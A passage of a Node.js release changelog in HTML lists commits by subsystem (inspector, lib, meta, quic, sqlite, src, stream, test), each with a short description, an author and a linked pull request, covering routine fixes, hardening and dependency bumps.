<li>[<a href="https://github.com/nodejs/node/commit/4f3f21bd7c"><code>4f3f21bd7c</code></a>] - <strong>inspector</strong>: auto collect webstorage data (Ryuhei Shima) <a href="https://github.com/nodejs/node/pull/62145" data-hovercard-type="pull_request" data-hovercard-url="/nodejs/node/pull/62145/hovercard">#62145</a></li>
<li>[<a href="https://github.com/nodejs/node/commit/36cc04189d"><code>36cc04189d</code></a>] - <strong>inspector</strong>: initial support storage inspection (Ryuhei Shima) <a href="https://github.com/nodejs/node/pull/61139" data-hovercard-type="pull_request" data-hovercard-url="/nodejs/node/pull/61139/hovercard">#61139</a></li>
<li>[<a href="https://github.com/nodejs/node/commit/1718bc3b9b"><code>1718bc3b9b</code></a>] - <strong>inspector</strong>: fix absolute URLs in network http (bugyaluwang) <a href="https://github.com/nodejs/node/pull/62955" data-hovercard-type="pull_request" data-hovercard-url="/nodejs/node/pull/62955/hovercard">#62955</a></li>
<li>[<a href="https://github.com/nodejs/node/commit/97e32c7a74"><code>97e32c7a74</code></a>] - <strong>lib</strong>: avoid quadratic shift() in startup snapshot callback (Daijiro Wachi) <a href="https://github.com/nodejs/node/pull/62914" data-hovercard-type="pull_request" data-hovercard-url="/nodejs/node/pull/62914/hovercard">#62914</a></li>
<li>[<a href="https://github.com/nodejs/node/commit/25d2e999de"><code>25d2e999de</code></a>] - <strong>lib</strong>: harden kKeyOps lookup with null prototype (Filip Skokan) <a href="https://github.com/nodejs/node/pull/62877" data-hovercard-type="pull_request" data-hovercard-url="/nodejs/node/pull/62877/hovercard">#62877</a></li>
<li>[<a href="https://github.com/nodejs/node/commit/37d3913c8f"><code>37d3913c8f</code></a>] - <strong>lib</strong>: short-circuit WebIDL BufferSource SAB check (Filip Skokan) <a href="https://github.com/nodejs/node/pull/62833" data-hovercard-type="pull_request" data-hovercard-url="/nodejs/node/pull/62833/hovercard">#62833</a></li>
<li>[<a href="https://github.com/nodejs/node/commit/430c69d25f"><code>430c69d25f</code></a>] - <strong>lib</strong>: use js-only implementation of <code>isDataView()</code> (René) <a href="https://github.com/nodejs/node/pull/62780" data-hovercard-type="pull_request" data-hovercard-url="/nodejs/node/pull/62780/hovercard">#62780</a></li>
<li>[<a href="https://github.com/nodejs/node/commit/3ba0add6a0"><code>3ba0add6a0</code></a>] - <strong>lib</strong>: fix lint in internal/webstreams/util.js (Filip Skokan) <a href="https://github.com/nodejs/node/pull/62806" data-hovercard-type="pull_request" data-hovercard-url="/nodejs/node/pull/62806/hovercard">#62806</a></li>
<li>[<a href="https://github.com/nodejs/node/commit/9b95c41398"><code>9b95c41398</code></a>] - <strong>lib</strong>: fix sequence argument handling in Blob constructor (Ms2ger) <a href="https://github.com/nodejs/node/pull/62179" data-hovercard-type="pull_request" data-hovercard-url="/nodejs/node/pull/62179/hovercard">#62179</a></li>
<li>[<a href="https://github.com/nodejs/node/commit/314dacdbee"><code>314dacdbee</code></a>] - <strong>lib</strong>: improve Web Cryptography key validation ordering (Filip Skokan) <a href="https://github.com/nodejs/node/pull/62749" data-hovercard-type="pull_request" data-hovercard-url="/nodejs/node/pull/62749/hovercard">#62749</a></li>
<li>[<a href="https://github.com/nodejs/node/commit/3d18162430"><code>3d18162430</code></a>] - <strong>lib</strong>: reject SharedArrayBuffer in web APIs per spec (Ali Hassan) <a href="https://github.com/nodejs/node/pull/62632" data-hovercard-type="pull_request" data-hovercard-url="/nodejs/node/pull/62632/hovercard">#62632</a></li>
<li>[<a href="https://github.com/nodejs/node/commit/ada3ce879d"><code>ada3ce879d</code></a>] - <strong>lib</strong>: defer AbortSignal.any() following (sangwook) <a href="https://github.com/nodejs/node/pull/62367" data-hovercard-type="pull_request" data-hovercard-url="/nodejs/node/pull/62367/hovercard">#62367</a></li>
<li>[<a href="https://github.com/nodejs/node/commit/b2981ec7eb"><code>b2981ec7eb</code></a>] - <strong>meta</strong>: bump actions/download-artifact from 8.0.0 to 8.0.1 (dependabot[bot]) <a href="https://github.com/nodejs/node/pull/62549" data-hovercard-type="pull_request" data-hovercard-url="/nodejs/node/pull/62549/hovercard">#62549</a></li>
<li>[<a href="https://github.com/nodejs/node/commit/7cd20667b5"><code>7cd20667b5</code></a>] - <strong>meta</strong>: bump github/codeql-action from 4.35.1 to 4.35.3 (dependabot[bot]) <a href="https://github.com/nodejs/node/pull/63074" data-hovercard-type="pull_request" data-hovercard-url="/nodejs/node/pull/63074/hovercard">#63074</a></li>
<li>[<a href="https://github.com/nodejs/node/commit/91a07cfe9f"><code>91a07cfe9f</code></a>] - <strong>meta</strong>: bump Mozilla-Actions/sccache-action from 0.0.9 to 0.0.10 (dependabot[bot]) <a href="https://github.com/nodejs/node/pull/63073" data-hovercard-type="pull_request" data-hovercard-url="/nodejs/node/pull/63073/hovercard">#63073</a></li>
<li>[<a href="https://github.com/nodejs/node/commit/09e17fe47c"><code>09e17fe47c</code></a>] - <strong>meta</strong>: add automation policy (Chengzhong Wu) <a href="https://github.com/nodejs/node/pull/62871" data-hovercard-type="pull_request" data-hovercard-url="/nodejs/node/pull/62871/hovercard">#62871</a></li>
<li>[<a href="https://github.com/nodejs/node/commit/59e7fb7986"><code>59e7fb7986</code></a>] - <strong>meta</strong>: move VoltrexKeyva to emeritus (Matteo Collina) <a href="https://github.com/nodejs/node/pull/62895" data-hovercard-type="pull_request" data-hovercard-url="/nodejs/node/pull/62895/hovercard">#62895</a></li>
<li>[<a href="https://github.com/nodejs/node/commit/1e2915cfa6"><code>1e2915cfa6</code></a>] - <strong>meta</strong>: bump peter-evans/create-pull-request from 8.1.0 to 8.1.1 (dependabot[bot]) <a href="https://github.com/nodejs/node/pull/62845" data-hovercard-type="pull_request" data-hovercard-url="/nodejs/node/pull/62845/hovercard">#62845</a></li>
<li>[<a href="https://github.com/nodejs/node/commit/0253c6e2be"><code>0253c6e2be</code></a>] - <strong>meta</strong>: bump step-security/harden-runner from 2.16.1 to 2.19.0 (dependabot[bot]) <a href="https://github.com/nodejs/node/pull/62844" data-hovercard-type="pull_request" data-hovercard-url="/nodejs/node/pull/62844/hovercard">#62844</a></li>
<li>[<a href="https://github.com/nodejs/node/commit/f503675b86"><code>f503675b86</code></a>] - <strong>meta</strong>: bump actions/setup-node from 6.3.0 to 6.4.0 (dependabot[bot]) <a href="https://github.com/nodejs/node/pull/62842" data-hovercard-type="pull_request" data-hovercard-url="/nodejs/node/pull/62842/hovercard">#62842</a></li>
<li>[<a href="https://github.com/nodejs/node/commit/5e14e4d26e"><code>5e14e4d26e</code></a>] - <strong>meta</strong>: broaden stale bot (Aviv Keller) <a href="https://github.com/nodejs/node/pull/62658" data-hovercard-type="pull_request" data-hovercard-url="/nodejs/node/pull/62658/hovercard">#62658</a></li>
<li>[<a href="https://github.com/nodejs/node/commit/795db76f87"><code>795db76f87</code></a>] - <strong>meta</strong>: pass release version to release worker (flakey5) <a href="https://github.com/nodejs/node/pull/62777" data-hovercard-type="pull_request" data-hovercard-url="/nodejs/node/pull/62777/hovercard">#62777</a></li>
<li>[<a href="https://github.com/nodejs/node/commit/ef384fe39f"><code>ef384fe39f</code></a>] - <strong>meta</strong>: add QUIC to CODEOWNERS (Tim Perry) <a href="https://github.com/nodejs/node/pull/62652" data-hovercard-type="pull_request" data-hovercard-url="/nodejs/node/pull/62652/hovercard">#62652</a></li>
<li>[<a href="https://github.com/nodejs/node/commit/67e0ac568d"><code>67e0ac568d</code></a>] - <strong>meta</strong>: move Michael to emeritus (Michael Dawson) <a href="https://github.com/nodejs/node/pull/62536" data-hovercard-type="pull_request" data-hovercard-url="/nodejs/node/pull/62536/hovercard">#62536</a></li>
<li>[<a href="https://github.com/nodejs/node/commit/5dad616393"><code>5dad616393</code></a>] - <strong>meta</strong>: populate apt list for slim runner in update-openssl workflow (René) <a href="https://github.com/nodejs/node/pull/62628" data-hovercard-type="pull_request" data-hovercard-url="/nodejs/node/pull/62628/hovercard">#62628</a></li>
<li>[<a href="https://github.com/nodejs/node/commit/a869d25d8a"><code>a869d25d8a</code></a>] - <strong>meta</strong>: bump step-security/harden-runner from 2.15.0 to 2.16.1 (dependabot[bot]) <a href="https://github.com/nodejs/node/pull/62550" data-hovercard-type="pull_request" data-hovercard-url="/nodejs/node/pull/62550/hovercard">#62550</a></li>
<li>[<a href="https://github.com/nodejs/node/commit/769efc0403"><code>769efc0403</code></a>] - <strong>meta</strong>: bump actions/setup-node from 6.2.0 to 6.3.0 (dependabot[bot]) <a href="https://github.com/nodejs/node/pull/62548" data-hovercard-type="pull_request" data-hovercard-url="/nodejs/node/pull/62548/hovercard">#62548</a></li>
<li>[<a href="https://github.com/nodejs/node/commit/73fcc2b055"><code>73fcc2b055</code></a>] - <strong>meta</strong>: bump github/codeql-action from 4.32.4 to 4.35.1 (dependabot[bot]) <a href="https://github.com/nodejs/node/pull/62547" data-hovercard-type="pull_request" data-hovercard-url="/nodejs/node/pull/62547/hovercard">#62547</a></li>
<li>[<a href="https://github.com/nodejs/node/commit/6c001246fe"><code>6c001246fe</code></a>] - <strong>meta</strong>: bump codecov/codecov-action from 5.5.2 to 6.0.0 (dependabot[bot]) <a href="https://github.com/nodejs/node/pull/62545" data-hovercard-type="pull_request" data-hovercard-url="/nodejs/node/pull/62545/hovercard">#62545</a></li>
<li>[<a href="https://github.com/nodejs/node/commit/5ee40d6a03"><code>5ee40d6a03</code></a>] - <strong>meta</strong>: bump actions/cache from 5.0.3 to 5.0.4 (dependabot[bot]) <a href="https://github.com/nodejs/node/pull/62543" data-hovercard-type="pull_request" data-hovercard-url="/nodejs/node/pull/62543/hovercard">#62543</a></li>
<li>[<a href="https://github.com/nodejs/node/commit/ca16ad8a05"><code>ca16ad8a05</code></a>] - <strong>meta</strong>: require DCO signoff in commit message guidelines (James M Snell) <a href="https://github.com/nodejs/node/pull/62510" data-hovercard-type="pull_request" data-hovercard-url="/nodejs/node/pull/62510/hovercard">#62510</a></li>
<li>[<a href="https://github.com/nodejs/node/commit/db9497fc41"><code>db9497fc41</code></a>] - <strong>meta</strong>: expand memory leak DoS criteria to all DoS (Joyee Cheung) <a href="https://github.com/nodejs/node/pull/62505" data-hovercard-type="pull_request" data-hovercard-url="/nodejs/node/pull/62505/hovercard">#62505</a></li>
<li>[<a href="https://github.com/nodejs/node/commit/13b7d08b8d"><code>13b7d08b8d</code></a>] - <strong>module</strong>: remove duplicated checks from <code>_resolveFilename</code> (Antoine du Hamel) <a href="https://github.com/nodejs/node/pull/62729" data-hovercard-type="pull_request" data-hovercard-url="/nodejs/node/pull/62729/hovercard">#62729</a></li>
<li>[<a href="https://github.com/nodejs/node/commit/6b53efb53a"><code>6b53efb53a</code></a>] - <strong>module,win</strong>: fix long subpath import (Stefan Stojanovic) <a href="https://github.com/nodejs/node/pull/62101" data-hovercard-type="pull_request" data-hovercard-url="/nodejs/node/pull/62101/hovercard">#62101</a></li>
<li>[<a href="https://github.com/nodejs/node/commit/841dfbf6fc"><code>841dfbf6fc</code></a>] - <strong>node-api</strong>: update libuv ABI stability note (Chengzhong Wu) <a href="https://github.com/nodejs/node/pull/62789" data-hovercard-type="pull_request" data-hovercard-url="/nodejs/node/pull/62789/hovercard">#62789</a></li>
<li>[<a href="https://github.com/nodejs/node/commit/01090f2aa1"><code>01090f2aa1</code></a>] - <strong>node-api</strong>: add napi_create_external_sharedarraybuffer (Ben Noordhuis) <a href="https://github.com/nodejs/node/pull/62623" data-hovercard-type="pull_request" data-hovercard-url="/nodejs/node/pull/62623/hovercard">#62623</a></li>
<li>[<a href="https://github.com/nodejs/node/commit/87443b4355"><code>87443b4355</code></a>] - <strong>node-api</strong>: execute tsfn finalizer after queue drains when aborted (Kevin Eady) <a href="https://github.com/nodejs/node/pull/61956" data-hovercard-type="pull_request" data-hovercard-url="/nodejs/node/pull/61956/hovercard">#61956</a></li>
<li>[<a href="https://github.com/nodejs/node/commit/e95570c054"><code>e95570c054</code></a>] - <strong>process</strong>: handle rejections only when needed (Gürgün Dayıoğlu) <a href="https://github.com/nodejs/node/pull/62919" data-hovercard-type="pull_request" data-hovercard-url="/nodejs/node/pull/62919/hovercard">#62919</a></li>
<li>[<a href="https://github.com/nodejs/node/commit/37d49f3219"><code>37d49f3219</code></a>] - <strong>process</strong>: optimize asyncHandledRejections by using FixedQueue (Gürgün Dayıoğlu) <a href="https://github.com/nodejs/node/pull/60854" data-hovercard-type="pull_request" data-hovercard-url="/nodejs/node/pull/60854/hovercard">#60854</a></li>
<li>[<a href="https://github.com/nodejs/node/commit/f697c55e38"><code>f697c55e38</code></a>] - <strong>quic</strong>: add QuicEndpoint.listening &amp; QuicStream.destroy() and tests (Tim Perry) <a href="https://github.com/nodejs/node/pull/62648" data-hovercard-type="pull_request" data-hovercard-url="/nodejs/node/pull/62648/hovercard">#62648</a></li>
<li>[<a href="https://github.com/nodejs/node/commit/c128942b69"><code>c128942b69</code></a>] - <strong>quic</strong>: fixup token verification to handle zero expiration (James M Snell) <a href="https://github.com/nodejs/node/pull/62620" data-hovercard-type="pull_request" data-hovercard-url="/nodejs/node/pull/62620/hovercard">#62620</a></li>
<li>[<a href="https://github.com/nodejs/node/commit/abb881ec92"><code>abb881ec92</code></a>] - <strong>quic</strong>: support multiple ALPN negotiation (James M Snell) <a href="https://github.com/nodejs/node/pull/62620" data-hovercard-type="pull_request" data-hovercard-url="/nodejs/node/pull/62620/hovercard">#62620</a></li>
<li>[<a href="https://github.com/nodejs/node/commit/476926c2ad"><code>476926c2ad</code></a>] - <strong>quic</strong>: apply multiple TLS context improvements and SNI support (James M Snell) <a href="https://github.com/nodejs/node/pull/62620" data-hovercard-type="pull_request" data-hovercard-url="/nodejs/node/pull/62620/hovercard">#62620</a></li>
<li>[<a href="https://github.com/nodejs/node/commit/76d9c24b95"><code>76d9c24b95</code></a>] - <strong>quic</strong>: implement rapidhash for hashing improvements (James M Snell) <a href="https://github.com/nodejs/node/pull/62620" data-hovercard-type="pull_request" data-hovercard-url="/nodejs/node/pull/62620/hovercard">#62620</a></li>
<li>[<a href="https://github.com/nodejs/node/commit/08726cd43d"><code>08726cd43d</code></a>] - <strong>quic</strong>: move quic behind compile time flag (Matteo Collina) <a href="https://github.com/nodejs/node/pull/61444" data-hovercard-type="pull_request" data-hovercard-url="/nodejs/node/pull/61444/hovercard">#61444</a></li>
<li>[<a href="https://github.com/nodejs/node/commit/ea4f19aaa7"><code>ea4f19aaa7</code></a>] - <strong>quic</strong>: use arena allocation for packets (James M Snell) <a href="https://github.com/nodejs/node/pull/62589" data-hovercard-type="pull_request" data-hovercard-url="/nodejs/node/pull/62589/hovercard">#62589</a></li>
<li>[<a href="https://github.com/nodejs/node/commit/21e9239e2a"><code>21e9239e2a</code></a>] - <strong>quic</strong>: fixup linting/formatting issues (James M Snell) <a href="https://github.com/nodejs/node/pull/62387" data-hovercard-type="pull_request" data-hovercard-url="/nodejs/node/pull/62387/hovercard">#62387</a></li>
<li>[<a href="https://github.com/nodejs/node/commit/edeed4303b"><code>edeed4303b</code></a>] - <strong>quic</strong>: update http3 impl details (James M Snell) <a href="https://github.com/nodejs/node/pull/62387" data-hovercard-type="pull_request" data-hovercard-url="/nodejs/node/pull/62387/hovercard">#62387</a></li>
<li>[<a href="https://github.com/nodejs/node/commit/7f3a85e6aa"><code>7f3a85e6aa</code></a>] - <strong>quic</strong>: fix a handful of bugs and missing functionality (James M Snell) <a href="https://github.com/nodejs/node/pull/62387" data-hovercard-type="pull_request" data-hovercard-url="/nodejs/node/pull/62387/hovercard">#62387</a></li>
<li>[<a href="https://github.com/nodejs/node/commit/45c1ebddf8"><code>45c1ebddf8</code></a>] - <strong>quic</strong>: copy options.certs buffer instead of detaching (Chengzhong Wu) <a href="https://github.com/nodejs/node/pull/61403" data-hovercard-type="pull_request" data-hovercard-url="/nodejs/node/pull/61403/hovercard">#61403</a></li>
<li>[<a href="https://github.com/nodejs/node/commit/a31a8ee680"><code>a31a8ee680</code></a>] - <strong>quic</strong>: reduce boilerplate and other minor cleanups (James M Snell) <a href="https://github.com/nodejs/node/pull/59342" data-hovercard-type="pull_request" data-hovercard-url="/nodejs/node/pull/59342/hovercard">#59342</a></li>
<li>[<a href="https://github.com/nodejs/node/commit/3be70ff43a"><code>3be70ff43a</code></a>] - <strong>quic</strong>: multiple fixups and updates (James M Snell) <a href="https://github.com/nodejs/node/pull/59342" data-hovercard-type="pull_request" data-hovercard-url="/nodejs/node/pull/59342/hovercard">#59342</a></li>
<li>[<a href="https://github.com/nodejs/node/commit/b91a93444c"><code>b91a93444c</code></a>] - <strong>quic</strong>: update more of the quic to the new compile guard (James M Snell) <a href="https://github.com/nodejs/node/pull/59342" data-hovercard-type="pull_request" data-hovercard-url="/nodejs/node/pull/59342/hovercard">#59342</a></li>
<li>[<a href="https://github.com/nodejs/node/commit/ca0080c164"><code>ca0080c164</code></a>] - <strong>quic</strong>: few additional small comment edits in cid.h (James M Snell) <a href="https://github.com/nodejs/node/pull/59342" data-hovercard-type="pull_request" data-hovercard-url="/nodejs/node/pull/59342/hovercard">#59342</a></li>
<li>[<a href="https://github.com/nodejs/node/commit/6553202d83"><code>6553202d83</code></a>] - <strong>quic</strong>: fixup NO_ERROR macro conflict on windows (James M Snell) <a href="https://github.com/nodejs/node/pull/59381" data-hovercard-type="pull_request" data-hovercard-url="/nodejs/node/pull/59381/hovercard">#59381</a></li>
<li>[<a href="https://github.com/nodejs/node/commit/6df1508ac2"><code>6df1508ac2</code></a>] - <strong>quic</strong>: fixup windows coverage compile error (James M Snell) <a href="https://github.com/nodejs/node/pull/59381" data-hovercard-type="pull_request" data-hovercard-url="/nodejs/node/pull/59381/hovercard">#59381</a></li>
<li>[<a href="https://github.com/nodejs/node/commit/b2b0bf8b04"><code>b2b0bf8b04</code></a>] - <strong>quic</strong>: update the guard to check openssl version (James M Snell) <a href="https://github.com/nodejs/node/pull/59249" data-hovercard-type="pull_request" data-hovercard-url="/nodejs/node/pull/59249/hovercard">#59249</a></li>
<li>[<a href="https://github.com/nodejs/node/commit/5556b154bd"><code>5556b154bd</code></a>] - <strong>quic</strong>: start re-enabling quic with openssl 3.5 (James M Snell) <a href="https://github.com/nodejs/node/pull/59249" data-hovercard-type="pull_request" data-hovercard-url="/nodejs/node/pull/59249/hovercard">#59249</a></li>
<li>[<a href="https://github.com/nodejs/node/commit/2ca42c8263"><code>2ca42c8263</code></a>] - <strong>repl</strong>: keep reference count for <code>process.on('newListener')</code> (Anna Henningsen) <a href="https://github.com/nodejs/node/pull/61895" data-hovercard-type="pull_request" data-hovercard-url="/nodejs/node/pull/61895/hovercard">#61895</a></li>
<li>[<a href="https://github.com/nodejs/node/commit/2f37f9177f"><code>2f37f9177f</code></a>] - <strong>sqlite</strong>: use OneByte for ASCII text and internalize col names (Ali Hassan) <a href="https://github.com/nodejs/node/pull/61954" data-hovercard-type="pull_request" data-hovercard-url="/nodejs/node/pull/61954/hovercard">#61954</a></li>
<li>[<a href="https://github.com/nodejs/node/commit/3c96ae1b2f"><code>3c96ae1b2f</code></a>] - <strong>sqlite</strong>: add serialize() and deserialize() (Ali Hassan) <a href="https://github.com/nodejs/node/pull/62579" data-hovercard-type="pull_request" data-hovercard-url="/nodejs/node/pull/62579/hovercard">#62579</a></li>
<li>[<a href="https://github.com/nodejs/node/commit/be4d2f3a4c"><code>be4d2f3a4c</code></a>] - <strong>sqlite</strong>: enable Percentile extension (Jurj Andrei George) <a href="https://github.com/nodejs/node/pull/61295" data-hovercard-type="pull_request" data-hovercard-url="/nodejs/node/pull/61295/hovercard">#61295</a></li>
<li>[<a href="https://github.com/nodejs/node/commit/dafed453b2"><code>dafed453b2</code></a>] - <strong>src</strong>: clean up experimental flag variables (Antoine du Hamel) <a href="https://github.com/nodejs/node/pull/62759" data-hovercard-type="pull_request" data-hovercard-url="/nodejs/node/pull/62759/hovercard">#62759</a></li>
<li>[<a href="https://github.com/nodejs/node/commit/dca1e6aeea"><code>dca1e6aeea</code></a>] - <strong>src</strong>: expose help texts into node-config-schema.json (Pietro Marchini) <a href="https://github.com/nodejs/node/pull/58680" data-hovercard-type="pull_request" data-hovercard-url="/nodejs/node/pull/58680/hovercard">#58680</a></li>
<li>[<a href="https://github.com/nodejs/node/commit/28c4f44eb1"><code>28c4f44eb1</code></a>] - <strong>src</strong>: add permission support to config file (Marco Ippolito) <a href="https://github.com/nodejs/node/pull/60746" data-hovercard-type="pull_request" data-hovercard-url="/nodejs/node/pull/60746/hovercard">#60746</a></li>
<li>[<a href="https://github.com/nodejs/node/commit/f49175b220"><code>f49175b220</code></a>] - <strong>src</strong>: fix small compile warning in quic/streams.cc (James M Snell) <a href="https://github.com/nodejs/node/pull/60118" data-hovercard-type="pull_request" data-hovercard-url="/nodejs/node/pull/60118/hovercard">#60118</a></li>
<li>[<a href="https://github.com/nodejs/node/commit/c9d4a446d8"><code>c9d4a446d8</code></a>] - <strong>src</strong>: cleanup quic TransportParams class (James M Snell) <a href="https://github.com/nodejs/node/pull/59884" data-hovercard-type="pull_request" data-hovercard-url="/nodejs/node/pull/59884/hovercard">#59884</a></li>
<li>[<a href="https://github.com/nodejs/node/commit/99bb02fd9e"><code>99bb02fd9e</code></a>] - <strong>src</strong>: swap dotenv and config file parsing order (Marco Ippolito) <a href="https://github.com/nodejs/node/pull/63035" data-hovercard-type="pull_request" data-hovercard-url="/nodejs/node/pull/63035/hovercard">#63035</a></li>
<li>[<a href="https://github.com/nodejs/node/commit/ecb4d49b7b"><code>ecb4d49b7b</code></a>] - <strong>src</strong>: add missing &lt;cstdlib&gt; for abort() declaration (Charles Kerr) <a href="https://github.com/nodejs/node/pull/63001" data-hovercard-type="pull_request" data-hovercard-url="/nodejs/node/pull/63001/hovercard">#63001</a></li>
<li>[<a href="https://github.com/nodejs/node/commit/b6219b6362"><code>b6219b6362</code></a>] - <strong>src</strong>: fix crash in GetErrorSource() for invalid using syntax (semimikoh) <a href="https://github.com/nodejs/node/pull/62770" data-hovercard-type="pull_request" data-hovercard-url="/nodejs/node/pull/62770/hovercard">#62770</a></li>
<li>[<a href="https://github.com/nodejs/node/commit/b5ca5ad4c5"><code>b5ca5ad4c5</code></a>] - <strong>src</strong>: simplify <code>TCPWrap::Connect</code> signature (Anna Henningsen) <a href="https://github.com/nodejs/node/pull/62929" data-hovercard-type="pull_request" data-hovercard-url="/nodejs/node/pull/62929/hovercard">#62929</a></li>
<li>[<a href="https://github.com/nodejs/node/commit/ef7ffce7cf"><code>ef7ffce7cf</code></a>] - <strong>src</strong>: use DCHECK in AsyncWrap::MakeCallback instead emiting a warning (Gerhard Stöbich) <a href="https://github.com/nodejs/node/pull/62795" data-hovercard-type="pull_request" data-hovercard-url="/nodejs/node/pull/62795/hovercard">#62795</a></li>
<li>[<a href="https://github.com/nodejs/node/commit/cd9890a5ab"><code>cd9890a5ab</code></a>] - <strong>src</strong>: fix MaybeStackBuffer char_traits deprecation warning (om-ghante) <a href="https://github.com/nodejs/node/pull/62507" data-hovercard-type="pull_request" data-hovercard-url="/nodejs/node/pull/62507/hovercard">#62507</a></li>
<li>[<a href="https://github.com/nodejs/node/commit/c70ff44aee"><code>c70ff44aee</code></a>] - <strong>src</strong>: use context-free V8 message column getters (René) <a href="https://github.com/nodejs/node/pull/62778" data-hovercard-type="pull_request" data-hovercard-url="/nodejs/node/pull/62778/hovercard">#62778</a></li>
<li>[<a href="https://github.com/nodejs/node/commit/06c405f1d7"><code>06c405f1d7</code></a>] - <strong>src</strong>: coerce <code>spawnSync</code> args to string once (Antoine du Hamel) <a href="https://github.com/nodejs/node/pull/62633" data-hovercard-type="pull_request" data-hovercard-url="/nodejs/node/pull/62633/hovercard">#62633</a></li>
<li>[<a href="https://github.com/nodejs/node/commit/6151999ad6"><code>6151999ad6</code></a>] - <strong>src</strong>: use stack allocation for small string encoding (Ali Hassan) <a href="https://github.com/nodejs/node/pull/62431" data-hovercard-type="pull_request" data-hovercard-url="/nodejs/node/pull/62431/hovercard">#62431</a></li>
<li>[<a href="https://github.com/nodejs/node/commit/a71a4ac7a3"><code>a71a4ac7a3</code></a>] - <strong>src</strong>: add contextify interceptor debug logs (Chengzhong Wu) <a href="https://github.com/nodejs/node/pull/62460" data-hovercard-type="pull_request" data-hovercard-url="/nodejs/node/pull/62460/hovercard">#62460</a></li>
<li>[<a href="https://github.com/nodejs/node/commit/ad9a2909c2"><code>ad9a2909c2</code></a>] - <strong>src</strong>: workaround AIX libc++ std::filesystem bug (Richard Lau) <a href="https://github.com/nodejs/node/pull/62788" data-hovercard-type="pull_request" data-hovercard-url="/nodejs/node/pull/62788/hovercard">#62788</a></li>
<li>[<a href="https://github.com/nodejs/node/commit/7792f1ae47"><code>7792f1ae47</code></a>] - <strong>stream</strong>: copyedit <code>webstreams/adapter.js</code> (Antoine du Hamel) <a href="https://github.com/nodejs/node/pull/63034" data-hovercard-type="pull_request" data-hovercard-url="/nodejs/node/pull/63034/hovercard">#63034</a></li>
<li>[<a href="https://github.com/nodejs/node/commit/1397d8ce5c"><code>1397d8ce5c</code></a>] - <strong>stream</strong>: remove duplicated utility (Antoine du Hamel) <a href="https://github.com/nodejs/node/pull/63031" data-hovercard-type="pull_request" data-hovercard-url="/nodejs/node/pull/63031/hovercard">#63031</a></li>
<li>[<a href="https://github.com/nodejs/node/commit/ff86b1d64f"><code>ff86b1d64f</code></a>] - <strong>stream</strong>: simplify <code>setPromiseHandled</code> utility (Antoine du Hamel) <a href="https://github.com/nodejs/node/pull/63032" data-hovercard-type="pull_request" data-hovercard-url="/nodejs/node/pull/63032/hovercard">#63032</a></li>
<li>[<a href="https://github.com/nodejs/node/commit/24a078149a"><code>24a078149a</code></a>] - <strong>stream</strong>: validate ReadableStream.from iterator objects (Daeyeon Jeong) <a href="https://github.com/nodejs/node/pull/62911" data-hovercard-type="pull_request" data-hovercard-url="/nodejs/node/pull/62911/hovercard">#62911</a></li>
<li>[<a href="https://github.com/nodejs/node/commit/cfb1fa9680"><code>cfb1fa9680</code></a>] - <strong>stream</strong>: reject duplicate nested transferables (Daeyeon Jeong) <a href="https://github.com/nodejs/node/pull/62831" data-hovercard-type="pull_request" data-hovercard-url="/nodejs/node/pull/62831/hovercard">#62831</a></li>
<li>[<a href="https://github.com/nodejs/node/commit/d0c913758a"><code>d0c913758a</code></a>] - <strong>stream</strong>: ensuring cross-destruction in _duplexify to prevent leaks (Daijiro Wachi) <a href="https://github.com/nodejs/node/pull/62824" data-hovercard-type="pull_request" data-hovercard-url="/nodejs/node/pull/62824/hovercard">#62824</a></li>
<li>[<a href="https://github.com/nodejs/node/commit/978f5c15d7"><code>978f5c15d7</code></a>] - <strong>stream</strong>: simplify <code>readableStreamFromIterable</code> (Antoine du Hamel) <a href="https://github.com/nodejs/node/pull/62651" data-hovercard-type="pull_request" data-hovercard-url="/nodejs/node/pull/62651/hovercard">#62651</a></li>
<li>[<a href="https://github.com/nodejs/node/commit/3527646ba5"><code>3527646ba5</code></a>] - <strong>stream</strong>: fix nested compose error propagation (Matteo Collina) <a href="https://github.com/nodejs/node/pull/62556" data-hovercard-type="pull_request" data-hovercard-url="/nodejs/node/pull/62556/hovercard">#62556</a></li>
<li>[<a href="https://github.com/nodejs/node/commit/dfb9edef4f"><code>dfb9edef4f</code></a>] - <strong>stream</strong>: allow shared array buffer sources in writable webstream adapter (René) <a href="https://github.com/nodejs/node/pull/62163" data-hovercard-type="pull_request" data-hovercard-url="/nodejs/node/pull/62163/hovercard">#62163</a></li>
<li>[<a href="https://github.com/nodejs/node/commit/f00cdab627"><code>f00cdab627</code></a>] - <strong>stream</strong>: simplify <code>createPromiseCallback</code> (Antoine du Hamel) <a href="https://github.com/nodejs/node/pull/62650" data-hovercard-type="pull_request" data-hovercard-url="/nodejs/node/pull/62650/hovercard">#62650</a></li>
<li>[<a href="https://github.com/nodejs/node/commit/3ed783535f"><code>3ed783535f</code></a>] - <strong>stream</strong>: fix writev unhandled rejection in fromWeb (sangwook) <a href="https://github.com/nodejs/node/pull/62297" data-hovercard-type="pull_request" data-hovercard-url="/nodejs/node/pull/62297/hovercard">#62297</a></li>
<li>[<a href="https://github.com/nodejs/node/commit/29b196694c"><code>29b196694c</code></a>] - <strong>stream</strong>: noop pause/resume on destroyed streams (Robert Nagy) <a href="https://github.com/nodejs/node/pull/62557" data-hovercard-type="pull_request" data-hovercard-url="/nodejs/node/pull/62557/hovercard">#62557</a></li>
<li>[<a href="https://github.com/nodejs/node/commit/d73dbb9fc8"><code>d73dbb9fc8</code></a>] - <strong>stream</strong>: refactor duplexify to be less suceptible to prototype pollution (Antoine du Hamel) <a href="https://github.com/nodejs/node/pull/62559" data-hovercard-type="pull_request" data-hovercard-url="/nodejs/node/pull/62559/hovercard">#62559</a></li>
<li>[<a href="https://github.com/nodejs/node/commit/6f37f7e240"><code>6f37f7e240</code></a>] - <strong>(SEMVER-MINOR)</strong> <strong>stream</strong>: propagate destruction in duplexPair (Ahmed Elhor) <a href="https://github.com/nodejs/node/pull/61098" data-hovercard-type="pull_request" data-hovercard-url="/nodejs/node/pull/61098/hovercard">#61098</a></li>
<li>[<a href="https://github.com/nodejs/node/commit/b8816580e9"><code>b8816580e9</code></a>] - <strong>test</strong>: generate <code>localstorage.db</code> in a temp dir (Chengzhong Wu) <a href="https://github.com/nodejs/node/pull/62660" data-hovercard-type="pull_request" data-hovercard-url="/nodejs/node/pull/62660/hovercard">#62660</a></li>
<li>[<a href="https://github.com/nodejs/node/commit/31a863fd29"><code>31a863fd29</code></a>] - <strong>test</strong>: update WPT for url to 258f285de0 (Node.js GitHub Bot) <a href="https://github.com/nodejs/node/pull/63087" data-hovercard-type="pull_request" data-hovercard-url="/nodejs/node/pull/63087/hovercard">#63087</a></li>
